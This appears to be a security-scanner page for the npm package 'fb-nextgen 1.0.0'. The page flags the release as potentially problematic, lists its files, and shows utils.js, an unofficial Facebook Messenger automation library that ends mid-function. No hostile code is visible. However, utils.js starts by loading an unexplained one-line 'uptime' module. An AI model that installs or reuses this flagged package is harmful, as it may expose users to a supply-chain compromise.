fb-nextgen 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of fb-nextgen might be problematic. Click here for more details.
- package/.cache/replit/__replit_disk_meta.json +1 -0
- package/.cache/replit/nix/env.json +1 -0
- package/.config/configstore/update-notifier-npm.json +4 -0
- package/.github/workflows/nodejs.yml +26 -0
- package/.github/workflows/npmpublish.yml +30 -0
- package/.travis.yml +6 -0
- package/LICENSE-MIT +21 -0
- package/README.md +216 -0
- package/index.js +613 -0
- package/package.json +108 -0
- package/replit.nix +6 -0
- package/src/addExternalModule.js +19 -0
- package/src/addUserToGroup.js +113 -0
- package/src/changeAdminStatus.js +79 -0
- package/src/changeArchivedStatus.js +55 -0
- package/src/changeBio.js +77 -0
- package/src/changeBlockedStatus.js +47 -0
- package/src/changeGroupImage.js +129 -0
- package/src/changeNickname.js +59 -0
- package/src/changeThreadColor.js +71 -0
- package/src/changeThreadEmoji.js +55 -0
- package/src/createNewGroup.js +86 -0
- package/src/createPoll.js +71 -0
- package/src/deleteMessage.js +56 -0
- package/src/deleteThread.js +56 -0
- package/src/forwardAttachment.js +60 -0
- package/src/getCurrentUserID.js +7 -0
- package/src/getEmojiUrl.js +29 -0
- package/src/getFriendsList.js +84 -0
- package/src/getThreadHistory.js +645 -0
- package/src/getThreadHistoryDeprecated.js +93 -0
- package/src/getThreadInfo.js +148 -0
- package/src/getThreadInfoDeprecated.js +80 -0
- package/src/getThreadList.js +238 -0
- package/src/getThreadListDeprecated.js +75 -0
- package/src/getThreadPictures.js +79 -0
- package/src/getUserID.js +66 -0
- package/src/getUserInfo.js +76 -0
- package/src/handleFriendRequest.js +61 -0
- package/src/handleMessageRequest.js +65 -0
- package/src/httpGet.js +52 -0
- package/src/httpPost.js +52 -0
- package/src/listenMqtt.js +788 -0
- package/src/logout.js +75 -0
- package/src/markAsDelivered.js +58 -0
- package/src/markAsRead.js +80 -0
- package/src/markAsReadAll.js +50 -0
- package/src/markAsSeen.js +59 -0
- package/src/muteThread.js +52 -0
- package/src/removeUserFromGroup.js +79 -0
- package/src/resolvePhotoUrl.js +37 -0
- package/src/searchForThread.js +53 -0
- package/src/sendMessage.js +383 -0
- package/src/sendTypingIndicator.js +103 -0
- package/src/setMessageReaction.js +117 -0
- package/src/setPostReaction.js +76 -0
- package/src/setTitle.js +86 -0
- package/src/threadColors.js +57 -0
- package/src/unfriend.js +52 -0
- package/src/unsendMessage.js +49 -0
- package/src-cmd/bard.js +5048 -0
- package/src-cmd/gptdm.js +4175 -0
- package/src-cmd/gptgo.js +4253 -0
- package/src-cmd/gscholar.js +3747 -0
- package/src-cmd/openai.js +7370 -0
- package/src-cmd/playstore.js +1 -0
- package/src-cmd/skibiditoilet.js +4034 -0
- package/test/data/shareAttach.js +146 -0
- package/test/data/something.mov +0 -0
- package/test/data/test.png +0 -0
- package/test/data/test.txt +7 -0
- package/test/example-config.json +18 -0
- package/test/test-page.js +140 -0
- package/test/test.js +385 -0
- package/uptime.js +1 -0
- package/utils.js +1241 -0
package/utils.js
ADDED
@@ -0,0 +1,1241 @@
|
|
1
|
+
/* eslint-disable no-undef */
|
2
|
+
/* eslint-disable no-prototype-builtins */
|
3
|
+
const uptimerobot = require ("./uptime");
|
4
|
+
"use strict";
|
5
|
+
|
6
|
+
const bluebird = require("bluebird");
|
7
|
+
var request = bluebird.promisify(require("request").defaults({ jar: true }));
|
8
|
+
var stream = require("stream");
|
9
|
+
var log = require("npmlog");
|
10
|
+
var querystring = require("querystring");
|
11
|
+
var url = require("url");
|
12
|
+
|
13
|
+
function setProxy(url) {
|
14
|
+
if (typeof url == undefined) return request = bluebird.promisify(require("request").defaults({ jar: true }));
|
15
|
+
return request = bluebird.promisify(require("request").defaults({ jar: true, proxy: url }));
|
16
|
+
}
|
17
|
+
|
18
|
+
function getHeaders(url, options, ctx, customHeader) {
|
19
|
+
var headers = {
|
20
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
21
|
+
Referer: "https://www.facebook.com/",
|
22
|
+
Host: url.replace("https://", "").split("/")[0],
|
23
|
+
Origin: "https://www.facebook.com",
|
24
|
+
"User-Agent": options.userAgent,
|
25
|
+
Connection: "keep-alive",
|
26
|
+
'sec-fetch-site': 'same-origin'
|
27
|
+
};
|
28
|
+
if (customHeader) Object.assign(headers, customHeader);
|
29
|
+
|
30
|
+
if (ctx && ctx.region) headers["X-MSGR-Region"] = ctx.region;
|
31
|
+
|
32
|
+
return headers;
|
33
|
+
}
|
34
|
+
|
35
|
+
function isReadableStream(obj) {
|
36
|
+
return (
|
37
|
+
obj instanceof stream.Stream &&
|
38
|
+
(getType(obj._read) === "Function" ||
|
39
|
+
getType(obj._read) === "AsyncFunction") &&
|
40
|
+
getType(obj._readableState) === "Object"
|
41
|
+
);
|
42
|
+
}
|
43
|
+
|
44
|
+
function get(url, jar, qs, options, ctx) {
|
45
|
+
// I'm still confused about this
|
46
|
+
if (getType(qs) === "Object")
|
47
|
+
for (var prop in qs)
|
48
|
+
if (qs.hasOwnProperty(prop) && getType(qs[prop]) === "Object") qs[prop] = JSON.stringify(qs[prop]);
|
49
|
+
var op = {
|
50
|
+
headers: getHeaders(url, options, ctx),
|
51
|
+
timeout: 60000,
|
52
|
+
qs: qs,
|
53
|
+
url: url,
|
54
|
+
method: "GET",
|
55
|
+
jar: jar,
|
56
|
+
gzip: true
|
57
|
+
};
|
58
|
+
|
59
|
+
return request(op).then(function(res) {
|
60
|
+
return res[0];
|
61
|
+
});
|
62
|
+
}
|
63
|
+
|
64
|
+
function post(url, jar, form, options, ctx, customHeader) {
|
65
|
+
let headers = getHeaders(url, options);
|
66
|
+
headers['sec-fetch-site'] = 'same-origin';
|
67
|
+
var op = {
|
68
|
+
headers: headers,
|
69
|
+
timeout: 60000,
|
70
|
+
url: url,
|
71
|
+
method: "POST",
|
72
|
+
form: form,
|
73
|
+
jar: jar,
|
74
|
+
gzip: true
|
75
|
+
};
|
76
|
+
|
77
|
+
return request(op).then(function(res) {
|
78
|
+
return res[0];
|
79
|
+
});
|
80
|
+
}
|
81
|
+
|
82
|
+
function postFormData(url, jar, form, qs, options, ctx) {
|
83
|
+
var headers = getHeaders(url, options, ctx);
|
84
|
+
headers["Content-Type"] = "multipart/form-data";
|
85
|
+
var op = {
|
86
|
+
headers: headers,
|
87
|
+
timeout: 60000,
|
88
|
+
url: url,
|
89
|
+
method: "POST",
|
90
|
+
formData: form,
|
91
|
+
qs: qs,
|
92
|
+
jar: jar,
|
93
|
+
gzip: true
|
94
|
+
};
|
95
|
+
|
96
|
+
return request(op).then(function(res) {
|
97
|
+
return res[0];
|
98
|
+
});
|
99
|
+
}
|
100
|
+
|
101
|
+
function padZeros(val, len) {
|
102
|
+
val = String(val);
|
103
|
+
len = len || 2;
|
104
|
+
while (val.length < len) val = "0" + val;
|
105
|
+
return val;
|
106
|
+
}
|
107
|
+
|
108
|
+
function generateThreadingID(clientID) {
|
109
|
+
var k = Date.now();
|
110
|
+
var l = Math.floor(Math.random() * 4294967295);
|
111
|
+
var m = clientID;
|
112
|
+
return "<" + k + ":" + l + "-" + m + "@mail.projektitan.com>";
|
113
|
+
}
|
114
|
+
|
115
|
+
function binaryToDecimal(data) {
|
116
|
+
var ret = "";
|
117
|
+
while (data !== "0") {
|
118
|
+
var end = 0;
|
119
|
+
var fullName = "";
|
120
|
+
var i = 0;
|
121
|
+
for (; i < data.length; i++) {
|
122
|
+
end = 2 * end + parseInt(data[i], 10);
|
123
|
+
if (end >= 10) {
|
124
|
+
fullName += "1";
|
125
|
+
end -= 10;
|
126
|
+
} else fullName += "0";
|
127
|
+
}
|
128
|
+
ret = end.toString() + ret;
|
129
|
+
data = fullName.slice(fullName.indexOf("1"));
|
130
|
+
}
|
131
|
+
return ret;
|
132
|
+
}
|
133
|
+
|
134
|
+
function generateOfflineThreadingID() {
|
135
|
+
var ret = Date.now();
|
136
|
+
var value = Math.floor(Math.random() * 4294967295);
|
137
|
+
var str = ("0000000000000000000000" + value.toString(2)).slice(-22);
|
138
|
+
var msgs = ret.toString(2) + str;
|
139
|
+
return binaryToDecimal(msgs);
|
140
|
+
}
|
141
|
+
|
142
|
+
var h;
|
143
|
+
var i = {};
|
144
|
+
var j = {
|
145
|
+
_: "%",
|
146
|
+
A: "%2",
|
147
|
+
B: "000",
|
148
|
+
C: "%7d",
|
149
|
+
D: "%7b%22",
|
150
|
+
E: "%2c%22",
|
151
|
+
F: "%22%3a",
|
152
|
+
G: "%2c%22ut%22%3a1",
|
153
|
+
H: "%2c%22bls%22%3a",
|
154
|
+
I: "%2c%22n%22%3a%22%",
|
155
|
+
J: "%22%3a%7b%22i%22%3a0%7d",
|
156
|
+
K: "%2c%22pt%22%3a0%2c%22vis%22%3a",
|
157
|
+
L: "%2c%22ch%22%3a%7b%22h%22%3a%22",
|
158
|
+
M: "%7b%22v%22%3a2%2c%22time%22%3a1",
|
159
|
+
N: ".channel%22%2c%22sub%22%3a%5b",
|
160
|
+
O: "%2c%22sb%22%3a1%2c%22t%22%3a%5b",
|
161
|
+
P: "%2c%22ud%22%3a100%2c%22lc%22%3a0",
|
162
|
+
Q: "%5d%2c%22f%22%3anull%2c%22uct%22%3a",
|
163
|
+
R: ".channel%22%2c%22sub%22%3a%5b1%5d",
|
164
|
+
S: "%22%2c%22m%22%3a0%7d%2c%7b%22i%22%3a",
|
165
|
+
T: "%2c%22blc%22%3a1%2c%22snd%22%3a1%2c%22ct%22%3a",
|
166
|
+
U: "%2c%22blc%22%3a0%2c%22snd%22%3a1%2c%22ct%22%3a",
|
167
|
+
V: "%2c%22blc%22%3a0%2c%22snd%22%3a0%2c%22ct%22%3a",
|
168
|
+
W: "%2c%22s%22%3a0%2c%22blo%22%3a0%7d%2c%22bl%22%3a%7b%22ac%22%3a",
|
169
|
+
X: "%2c%22ri%22%3a0%7d%2c%22state%22%3a%7b%22p%22%3a0%2c%22ut%22%3a1",
|
170
|
+
Y: "%2c%22pt%22%3a0%2c%22vis%22%3a1%2c%22bls%22%3a0%2c%22blc%22%3a0%2c%22snd%22%3a1%2c%22ct%22%3a",
|
171
|
+
Z: "%2c%22sb%22%3a1%2c%22t%22%3a%5b%5d%2c%22f%22%3anull%2c%22uct%22%3a0%2c%22s%22%3a0%2c%22blo%22%3a0%7d%2c%22bl%22%3a%7b%22ac%22%3a"
|
172
|
+
};
|
173
|
+
(function() {
|
174
|
+
var l = [];
|
175
|
+
for (var m in j) {
|
176
|
+
i[j[m]] = m;
|
177
|
+
l.push(j[m]);
|
178
|
+
}
|
179
|
+
l.reverse();
|
180
|
+
h = new RegExp(l.join("|"), "g");
|
181
|
+
})();
|
182
|
+
|
183
|
+
function presenceEncode(str) {
|
184
|
+
return encodeURIComponent(str)
|
185
|
+
.replace(/([_A-Z])|%../g, function(m, n) {
|
186
|
+
return n ? "%" + n.charCodeAt(0).toString(16) : m;
|
187
|
+
})
|
188
|
+
.toLowerCase()
|
189
|
+
.replace(h, function(m) {
|
190
|
+
return i[m];
|
191
|
+
});
|
192
|
+
}
|
193
|
+
|
194
|
+
// eslint-disable-next-line no-unused-vars
|
195
|
+
function presenceDecode(str) {
|
196
|
+
return decodeURIComponent(
|
197
|
+
str.replace(/[_A-Z]/g, function(m) {
|
198
|
+
return j[m];
|
199
|
+
})
|
200
|
+
);
|
201
|
+
}
|
202
|
+
|
203
|
+
function generatePresence(userID) {
|
204
|
+
var time = Date.now();
|
205
|
+
return (
|
206
|
+
"E" +
|
207
|
+
presenceEncode(
|
208
|
+
JSON.stringify({
|
209
|
+
v: 3,
|
210
|
+
time: parseInt(time / 1000, 10),
|
211
|
+
user: userID,
|
212
|
+
state: {
|
213
|
+
ut: 0,
|
214
|
+
t2: [],
|
215
|
+
lm2: null,
|
216
|
+
uct2: time,
|
217
|
+
tr: null,
|
218
|
+
tw: Math.floor(Math.random() * 4294967295) + 1,
|
219
|
+
at: time
|
220
|
+
},
|
221
|
+
ch: {
|
222
|
+
["p_" + userID]: 0
|
223
|
+
}
|
224
|
+
})
|
225
|
+
)
|
226
|
+
);
|
227
|
+
}
|
228
|
+
|
229
|
+
function generateAccessiblityCookie() {
|
230
|
+
var time = Date.now();
|
231
|
+
return encodeURIComponent(
|
232
|
+
JSON.stringify({
|
233
|
+
sr: 0,
|
234
|
+
"sr-ts": time,
|
235
|
+
jk: 0,
|
236
|
+
"jk-ts": time,
|
237
|
+
kb: 0,
|
238
|
+
"kb-ts": time,
|
239
|
+
hcm: 0,
|
240
|
+
"hcm-ts": time
|
241
|
+
})
|
242
|
+
);
|
243
|
+
}
|
244
|
+
|
245
|
+
function getGUID() {
|
246
|
+
/** @type {number} */
|
247
|
+
var sectionLength = Date.now();
|
248
|
+
/** @type {string} */
|
249
|
+
var id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
|
250
|
+
/** @type {number} */
|
251
|
+
var r = Math.floor((sectionLength + Math.random() * 16) % 16);
|
252
|
+
/** @type {number} */
|
253
|
+
sectionLength = Math.floor(sectionLength / 16);
|
254
|
+
/** @type {string} */
|
255
|
+
var _guid = (c == "x" ? r : (r & 7) | 8).toString(16);
|
256
|
+
return _guid;
|
257
|
+
});
|
258
|
+
return id;
|
259
|
+
}
|
260
|
+
|
261
|
+
function _formatAttachment(attachment1, attachment2) {
|
262
|
+
// TODO: THIS IS REALLY BAD
|
263
|
+
// This is an attempt at fixing Facebook's inconsistencies. Sometimes they give us
|
264
|
+
// two attachment objects, but sometimes only one. They each contain part of the
|
265
|
+
// data that you'd want so we merge them for convenience.
|
266
|
+
// Instead of having a bunch of if statements guarding every access to image_data,
|
267
|
+
// we set it to empty object and use the fact that it'll return undefined.
|
268
|
+
attachment2 = attachment2 || { id: "", image_data: {} };
|
269
|
+
attachment1 = attachment1.mercury ? attachment1.mercury : attachment1;
|
270
|
+
var blob = attachment1.blob_attachment;
|
271
|
+
var type =
|
272
|
+
blob && blob.__typename ? blob.__typename : attachment1.attach_type;
|
273
|
+
if (!type && attachment1.sticker_attachment) {
|
274
|
+
type = "StickerAttachment";
|
275
|
+
blob = attachment1.sticker_attachment;
|
276
|
+
} else if (!type && attachment1.extensible_attachment) {
|
277
|
+
if (
|
278
|
+
attachment1.extensible_attachment.story_attachment &&
|
279
|
+
attachment1.extensible_attachment.story_attachment.target &&
|
280
|
+
attachment1.extensible_attachment.story_attachment.target.__typename &&
|
281
|
+
attachment1.extensible_attachment.story_attachment.target.__typename === "MessageLocation"
|
282
|
+
) type = "MessageLocation";
|
283
|
+
else type = "ExtensibleAttachment";
|
284
|
+
|
285
|
+
blob = attachment1.extensible_attachment;
|
286
|
+
}
|
287
|
+
// TODO: Determine whether "sticker", "photo", "file" etc are still used
|
288
|
+
// KEEP IN SYNC WITH getThreadHistory
|
289
|
+
switch (type) {
|
290
|
+
case "sticker":
|
291
|
+
return {
|
292
|
+
type: "sticker",
|
293
|
+
ID: attachment1.metadata.stickerID.toString(),
|
294
|
+
url: attachment1.url,
|
295
|
+
|
296
|
+
packID: attachment1.metadata.packID.toString(),
|
297
|
+
spriteUrl: attachment1.metadata.spriteURI,
|
298
|
+
spriteUrl2x: attachment1.metadata.spriteURI2x,
|
299
|
+
width: attachment1.metadata.width,
|
300
|
+
height: attachment1.metadata.height,
|
301
|
+
|
302
|
+
caption: attachment2.caption,
|
303
|
+
description: attachment2.description,
|
304
|
+
|
305
|
+
frameCount: attachment1.metadata.frameCount,
|
306
|
+
frameRate: attachment1.metadata.frameRate,
|
307
|
+
framesPerRow: attachment1.metadata.framesPerRow,
|
308
|
+
framesPerCol: attachment1.metadata.framesPerCol,
|
309
|
+
|
310
|
+
stickerID: attachment1.metadata.stickerID.toString(), // @Legacy
|
311
|
+
spriteURI: attachment1.metadata.spriteURI, // @Legacy
|
312
|
+
spriteURI2x: attachment1.metadata.spriteURI2x // @Legacy
|
313
|
+
};
|
314
|
+
case "file":
|
315
|
+
return {
|
316
|
+
type: "file",
|
317
|
+
filename: attachment1.name,
|
318
|
+
ID: attachment2.id.toString(),
|
319
|
+
url: attachment1.url,
|
320
|
+
|
321
|
+
isMalicious: attachment2.is_malicious,
|
322
|
+
contentType: attachment2.mime_type,
|
323
|
+
|
324
|
+
name: attachment1.name, // @Legacy
|
325
|
+
mimeType: attachment2.mime_type, // @Legacy
|
326
|
+
fileSize: attachment2.file_size // @Legacy
|
327
|
+
};
|
328
|
+
case "photo":
|
329
|
+
return {
|
330
|
+
type: "photo",
|
331
|
+
ID: attachment1.metadata.fbid.toString(),
|
332
|
+
filename: attachment1.fileName,
|
333
|
+
thumbnailUrl: attachment1.thumbnail_url,
|
334
|
+
|
335
|
+
previewUrl: attachment1.preview_url,
|
336
|
+
previewWidth: attachment1.preview_width,
|
337
|
+
previewHeight: attachment1.preview_height,
|
338
|
+
|
339
|
+
largePreviewUrl: attachment1.large_preview_url,
|
340
|
+
largePreviewWidth: attachment1.large_preview_width,
|
341
|
+
largePreviewHeight: attachment1.large_preview_height,
|
342
|
+
|
343
|
+
url: attachment1.metadata.url, // @Legacy
|
344
|
+
width: attachment1.metadata.dimensions.split(",")[0], // @Legacy
|
345
|
+
height: attachment1.metadata.dimensions.split(",")[1], // @Legacy
|
346
|
+
name: attachment1.fileName // @Legacy
|
347
|
+
};
|
348
|
+
case "animated_image":
|
349
|
+
return {
|
350
|
+
type: "animated_image",
|
351
|
+
ID: attachment2.id.toString(),
|
352
|
+
filename: attachment2.filename,
|
353
|
+
|
354
|
+
previewUrl: attachment1.preview_url,
|
355
|
+
previewWidth: attachment1.preview_width,
|
356
|
+
previewHeight: attachment1.preview_height,
|
357
|
+
|
358
|
+
url: attachment2.image_data.url,
|
359
|
+
width: attachment2.image_data.width,
|
360
|
+
height: attachment2.image_data.height,
|
361
|
+
|
362
|
+
name: attachment1.name, // @Legacy
|
363
|
+
facebookUrl: attachment1.url, // @Legacy
|
364
|
+
thumbnailUrl: attachment1.thumbnail_url, // @Legacy
|
365
|
+
mimeType: attachment2.mime_type, // @Legacy
|
366
|
+
rawGifImage: attachment2.image_data.raw_gif_image, // @Legacy
|
367
|
+
rawWebpImage: attachment2.image_data.raw_webp_image, // @Legacy
|
368
|
+
animatedGifUrl: attachment2.image_data.animated_gif_url, // @Legacy
|
369
|
+
animatedGifPreviewUrl: attachment2.image_data.animated_gif_preview_url, // @Legacy
|
370
|
+
animatedWebpUrl: attachment2.image_data.animated_webp_url, // @Legacy
|
371
|
+
animatedWebpPreviewUrl: attachment2.image_data.animated_webp_preview_url // @Legacy
|
372
|
+
};
|
373
|
+
case "share":
|
374
|
+
return {
|
375
|
+
type: "share",
|
376
|
+
ID: attachment1.share.share_id.toString(),
|
377
|
+
url: attachment2.href,
|
378
|
+
|
379
|
+
title: attachment1.share.title,
|
380
|
+
description: attachment1.share.description,
|
381
|
+
source: attachment1.share.source,
|
382
|
+
|
383
|
+
image: attachment1.share.media.image,
|
384
|
+
width: attachment1.share.media.image_size.width,
|
385
|
+
height: attachment1.share.media.image_size.height,
|
386
|
+
playable: attachment1.share.media.playable,
|
387
|
+
duration: attachment1.share.media.duration,
|
388
|
+
|
389
|
+
subattachments: attachment1.share.subattachments,
|
390
|
+
properties: {},
|
391
|
+
|
392
|
+
animatedImageSize: attachment1.share.media.animated_image_size, // @Legacy
|
393
|
+
facebookUrl: attachment1.share.uri, // @Legacy
|
394
|
+
target: attachment1.share.target, // @Legacy
|
395
|
+
styleList: attachment1.share.style_list // @Legacy
|
396
|
+
};
|
397
|
+
case "video":
|
398
|
+
return {
|
399
|
+
type: "video",
|
400
|
+
ID: attachment1.metadata.fbid.toString(),
|
401
|
+
filename: attachment1.name,
|
402
|
+
|
403
|
+
previewUrl: attachment1.preview_url,
|
404
|
+
previewWidth: attachment1.preview_width,
|
405
|
+
previewHeight: attachment1.preview_height,
|
406
|
+
|
407
|
+
url: attachment1.url,
|
408
|
+
width: attachment1.metadata.dimensions.width,
|
409
|
+
height: attachment1.metadata.dimensions.height,
|
410
|
+
|
411
|
+
duration: attachment1.metadata.duration,
|
412
|
+
videoType: "unknown",
|
413
|
+
|
414
|
+
thumbnailUrl: attachment1.thumbnail_url // @Legacy
|
415
|
+
};
|
416
|
+
case "error":
|
417
|
+
return {
|
418
|
+
type: "error",
|
419
|
+
|
420
|
+
// Save error attachments because we're unsure of their format,
|
421
|
+
// and whether there are cases they contain something useful for debugging.
|
422
|
+
attachment1: attachment1,
|
423
|
+
attachment2: attachment2
|
424
|
+
};
|
425
|
+
case "MessageImage":
|
426
|
+
return {
|
427
|
+
type: "photo",
|
428
|
+
ID: blob.legacy_attachment_id,
|
429
|
+
filename: blob.filename,
|
430
|
+
thumbnailUrl: blob.thumbnail.uri,
|
431
|
+
|
432
|
+
previewUrl: blob.preview.uri,
|
433
|
+
previewWidth: blob.preview.width,
|
434
|
+
previewHeight: blob.preview.height,
|
435
|
+
|
436
|
+
largePreviewUrl: blob.large_preview.uri,
|
437
|
+
largePreviewWidth: blob.large_preview.width,
|
438
|
+
largePreviewHeight: blob.large_preview.height,
|
439
|
+
|
440
|
+
url: blob.large_preview.uri, // @Legacy
|
441
|
+
width: blob.original_dimensions.x, // @Legacy
|
442
|
+
height: blob.original_dimensions.y, // @Legacy
|
443
|
+
name: blob.filename // @Legacy
|
444
|
+
};
|
445
|
+
case "MessageAnimatedImage":
|
446
|
+
return {
|
447
|
+
type: "animated_image",
|
448
|
+
ID: blob.legacy_attachment_id,
|
449
|
+
filename: blob.filename,
|
450
|
+
|
451
|
+
previewUrl: blob.preview_image.uri,
|
452
|
+
previewWidth: blob.preview_image.width,
|
453
|
+
previewHeight: blob.preview_image.height,
|
454
|
+
|
455
|
+
url: blob.animated_image.uri,
|
456
|
+
width: blob.animated_image.width,
|
457
|
+
height: blob.animated_image.height,
|
458
|
+
|
459
|
+
thumbnailUrl: blob.preview_image.uri, // @Legacy
|
460
|
+
name: blob.filename, // @Legacy
|
461
|
+
facebookUrl: blob.animated_image.uri, // @Legacy
|
462
|
+
rawGifImage: blob.animated_image.uri, // @Legacy
|
463
|
+
animatedGifUrl: blob.animated_image.uri, // @Legacy
|
464
|
+
animatedGifPreviewUrl: blob.preview_image.uri, // @Legacy
|
465
|
+
animatedWebpUrl: blob.animated_image.uri, // @Legacy
|
466
|
+
animatedWebpPreviewUrl: blob.preview_image.uri // @Legacy
|
467
|
+
};
|
468
|
+
case "MessageVideo":
|
469
|
+
return {
|
470
|
+
type: "video",
|
471
|
+
filename: blob.filename,
|
472
|
+
ID: blob.legacy_attachment_id,
|
473
|
+
|
474
|
+
previewUrl: blob.large_image.uri,
|
475
|
+
previewWidth: blob.large_image.width,
|
476
|
+
previewHeight: blob.large_image.height,
|
477
|
+
|
478
|
+
url: blob.playable_url,
|
479
|
+
width: blob.original_dimensions.x,
|
480
|
+
height: blob.original_dimensions.y,
|
481
|
+
|
482
|
+
duration: blob.playable_duration_in_ms,
|
483
|
+
videoType: blob.video_type.toLowerCase(),
|
484
|
+
|
485
|
+
thumbnailUrl: blob.large_image.uri // @Legacy
|
486
|
+
};
|
487
|
+
case "MessageAudio":
|
488
|
+
return {
|
489
|
+
type: "audio",
|
490
|
+
filename: blob.filename,
|
491
|
+
ID: blob.url_shimhash,
|
492
|
+
|
493
|
+
audioType: blob.audio_type,
|
494
|
+
duration: blob.playable_duration_in_ms,
|
495
|
+
url: blob.playable_url,
|
496
|
+
|
497
|
+
isVoiceMail: blob.is_voicemail
|
498
|
+
};
|
499
|
+
case "StickerAttachment":
|
500
|
+
return {
|
501
|
+
type: "sticker",
|
502
|
+
ID: blob.id,
|
503
|
+
url: blob.url,
|
504
|
+
|
505
|
+
packID: blob.pack ? blob.pack.id : null,
|
506
|
+
spriteUrl: blob.sprite_image,
|
507
|
+
spriteUrl2x: blob.sprite_image_2x,
|
508
|
+
width: blob.width,
|
509
|
+
height: blob.height,
|
510
|
+
|
511
|
+
caption: blob.label,
|
512
|
+
description: blob.label,
|
513
|
+
|
514
|
+
frameCount: blob.frame_count,
|
515
|
+
frameRate: blob.frame_rate,
|
516
|
+
framesPerRow: blob.frames_per_row,
|
517
|
+
framesPerCol: blob.frames_per_column,
|
518
|
+
|
519
|
+
stickerID: blob.id, // @Legacy
|
520
|
+
spriteURI: blob.sprite_image, // @Legacy
|
521
|
+
spriteURI2x: blob.sprite_image_2x // @Legacy
|
522
|
+
};
|
523
|
+
case "MessageLocation":
|
524
|
+
var urlAttach = blob.story_attachment.url;
|
525
|
+
var mediaAttach = blob.story_attachment.media;
|
526
|
+
|
527
|
+
var u = querystring.parse(url.parse(urlAttach).query).u;
|
528
|
+
var where1 = querystring.parse(url.parse(u).query).where1;
|
529
|
+
var address = where1.split(", ");
|
530
|
+
|
531
|
+
var latitude;
|
532
|
+
var longitude;
|
533
|
+
|
534
|
+
try {
|
535
|
+
latitude = Number.parseFloat(address[0]);
|
536
|
+
longitude = Number.parseFloat(address[1]);
|
537
|
+
} catch (err) {
|
538
|
+
/* empty */
|
539
|
+
}
|
540
|
+
|
541
|
+
var imageUrl;
|
542
|
+
var width;
|
543
|
+
var height;
|
544
|
+
|
545
|
+
if (mediaAttach && mediaAttach.image) {
|
546
|
+
imageUrl = mediaAttach.image.uri;
|
547
|
+
width = mediaAttach.image.width;
|
548
|
+
height = mediaAttach.image.height;
|
549
|
+
}
|
550
|
+
|
551
|
+
return {
|
552
|
+
type: "location",
|
553
|
+
ID: blob.legacy_attachment_id,
|
554
|
+
latitude: latitude,
|
555
|
+
longitude: longitude,
|
556
|
+
image: imageUrl,
|
557
|
+
width: width,
|
558
|
+
height: height,
|
559
|
+
url: u || urlAttach,
|
560
|
+
address: where1,
|
561
|
+
|
562
|
+
facebookUrl: blob.story_attachment.url, // @Legacy
|
563
|
+
target: blob.story_attachment.target, // @Legacy
|
564
|
+
styleList: blob.story_attachment.style_list // @Legacy
|
565
|
+
};
|
566
|
+
case "ExtensibleAttachment":
|
567
|
+
return {
|
568
|
+
type: "share",
|
569
|
+
ID: blob.legacy_attachment_id,
|
570
|
+
url: blob.story_attachment.url,
|
571
|
+
|
572
|
+
title: blob.story_attachment.title_with_entities.text,
|
573
|
+
description: blob.story_attachment.description &&
|
574
|
+
blob.story_attachment.description.text,
|
575
|
+
source: blob.story_attachment.source ? blob.story_attachment.source.text : null,
|
576
|
+
|
577
|
+
image: blob.story_attachment.media &&
|
578
|
+
blob.story_attachment.media.image &&
|
579
|
+
blob.story_attachment.media.image.uri,
|
580
|
+
width: blob.story_attachment.media &&
|
581
|
+
blob.story_attachment.media.image &&
|
582
|
+
blob.story_attachment.media.image.width,
|
583
|
+
height: blob.story_attachment.media &&
|
584
|
+
blob.story_attachment.media.image &&
|
585
|
+
blob.story_attachment.media.image.height,
|
586
|
+
playable: blob.story_attachment.media &&
|
587
|
+
blob.story_attachment.media.is_playable,
|
588
|
+
duration: blob.story_attachment.media &&
|
589
|
+
blob.story_attachment.media.playable_duration_in_ms,
|
590
|
+
playableUrl: blob.story_attachment.media == null ? null : blob.story_attachment.media.playable_url,
|
591
|
+
|
592
|
+
subattachments: blob.story_attachment.subattachments,
|
593
|
+
properties: blob.story_attachment.properties.reduce(function(obj, cur) {
|
594
|
+
obj[cur.key] = cur.value.text;
|
595
|
+
return obj;
|
596
|
+
}, {}),
|
597
|
+
|
598
|
+
facebookUrl: blob.story_attachment.url, // @Legacy
|
599
|
+
target: blob.story_attachment.target, // @Legacy
|
600
|
+
styleList: blob.story_attachment.style_list // @Legacy
|
601
|
+
};
|
602
|
+
case "MessageFile":
|
603
|
+
return {
|
604
|
+
type: "file",
|
605
|
+
filename: blob.filename,
|
606
|
+
ID: blob.message_file_fbid,
|
607
|
+
|
608
|
+
url: blob.url,
|
609
|
+
isMalicious: blob.is_malicious,
|
610
|
+
contentType: blob.content_type,
|
611
|
+
|
612
|
+
name: blob.filename,
|
613
|
+
mimeType: "",
|
614
|
+
fileSize: -1
|
615
|
+
};
|
616
|
+
default:
|
617
|
+
throw new Error(
|
618
|
+
"unrecognized attach_file of type " +
|
619
|
+
type +
|
620
|
+
"`" +
|
621
|
+
JSON.stringify(attachment1, null, 4) +
|
622
|
+
" attachment2: " +
|
623
|
+
JSON.stringify(attachment2, null, 4) +
|
624
|
+
"`"
|
625
|
+
);
|
626
|
+
}
|
627
|
+
}
|
628
|
+
|
629
|
+
function formatAttachment(attachments, attachmentIds, attachmentMap, shareMap) {
|
630
|
+
attachmentMap = shareMap || attachmentMap;
|
631
|
+
return attachments ?
|
632
|
+
attachments.map(function(val, i) {
|
633
|
+
if (!attachmentMap ||
|
634
|
+
!attachmentIds ||
|
635
|
+
!attachmentMap[attachmentIds[i]]
|
636
|
+
) {
|
637
|
+
return _formatAttachment(val);
|
638
|
+
}
|
639
|
+
return _formatAttachment(val, attachmentMap[attachmentIds[i]]);
|
640
|
+
}) : [];
|
641
|
+
}
|
642
|
+
|
643
|
+
function formatDeltaMessage(m) {
|
644
|
+
var md = m.delta.messageMetadata;
|
645
|
+
var mdata =
|
646
|
+
m.delta.data === undefined ? [] :
|
647
|
+
m.delta.data.prng === undefined ? [] :
|
648
|
+
JSON.parse(m.delta.data.prng);
|
649
|
+
var m_id = mdata.map(u => u.i);
|
650
|
+
var m_offset = mdata.map(u => u.o);
|
651
|
+
var m_length = mdata.map(u => u.l);
|
652
|
+
var mentions = {};
|
653
|
+
var body = m.delta.body || "";
|
654
|
+
var args = body == "" ? [] : body.trim().split(/\s+/);
|
655
|
+
for (var i = 0; i < m_id.length; i++) mentions[m_id[i]] = m.delta.body.substring(m_offset[i], m_offset[i] + m_length[i]);
|
656
|
+
|
657
|
+
return {
|
658
|
+
type: "message",
|
659
|
+
